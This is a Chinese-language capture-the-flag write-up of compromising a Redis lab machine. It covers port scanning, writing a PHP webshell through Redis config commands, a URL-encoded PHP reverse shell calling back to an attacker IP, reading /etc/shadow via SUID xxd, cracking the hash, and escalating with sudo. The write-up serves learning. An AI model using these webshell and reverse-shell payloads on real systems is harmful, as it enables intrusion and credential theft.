這是我第一次接觸redis
,這個題目是最簡單的
資訊收集
使用nmap
進行埠掃描
根據掃描結果,開放了80
埠和6379
埠(redis)服務
對80
埠進行目錄掃描沒有得到任何有用的資訊,佔時沒太大用處
根據改題目的描述和題目名稱,改題目需要對redis
服務進行下手,在網上查詢到了redis
服務滲透測試指南
參考:https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis#authenticated-enumeration
其中講到可以使用redis
寫入PHP Webshell
程式碼如下
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK
初始訪問許可權
使用redis-cli -h target_ip -p 6379
連線靶機
接著使用上述方法寫入Junglezt.php
,內容為<?php system($_GET['cmd']);?>
現在我們可以執行命令了,使用php
獲取反彈shell
程式碼如下:
php -r '$sock=fsockopen("10.14.74.4","4444");exec("/bin/bash -i 0>&3 2>&3 1>&3");'
由於是GET
方式傳參,需要使用url
編碼,編碼後如下
php%20-r%20'%24sock%3Dfsockopen(%2210.14.74.4%22%2C%224444%22)%3Bexec(%22%2Fbin%2Fbash%20-i%200%3E%263%202%3E%263%201%3E%263%22)%3B'
傳入cmd
引數,在本地nc -lvp 4444
監聽,使用瀏覽器訪問獲得shell
10.10.194.198/Junglezt.php?cmd=php%20-r%20'%24sock%3Dfsockopen(%2210.14.74.4%22%2C%224444%22)%3Bexec(%22%2Fbin%2Fbash%20-i%200%3E%263%202%3E%263%201%3E%263%22)%3B'
接著獲取user.txt
許可權提升
接著需要許可權提升,查詢suid
檔案發現xxd
命令可以使用,查詢GTFOBins
找到對應方法可以讀取任意檔案,我們讀取/etc/shadow
得到vianka
使用者的hash
,使用john
破解
得到vianka
使用者的密碼為beautiful1
使用su
切換到該使用者時報錯
是因為終端的問題,由於靶機的22
埠也沒有開放,我們也沒有許可權開放靶機22
埠的許可權,這裡需要使用python
生成一個終端
python -c "import pty;pty.spawn('/bin/bash')"
獲取root許可權
我們需要繼續提權,接著使用sudo -l
發現我們可以執行任何root
使用者的命令,使用sudo su
得到root
許可權
總結
- 這個靶機學習到了一些
redis
的基本操作,另外還有一個ssh
私鑰獲取shell
的方法,但是不適用這個靶機 php
反彈shell
的終端不可以使用su
命令,在沒有開啟22
埠的情況下,可以使用python
的pty
方法獲取一個偽終端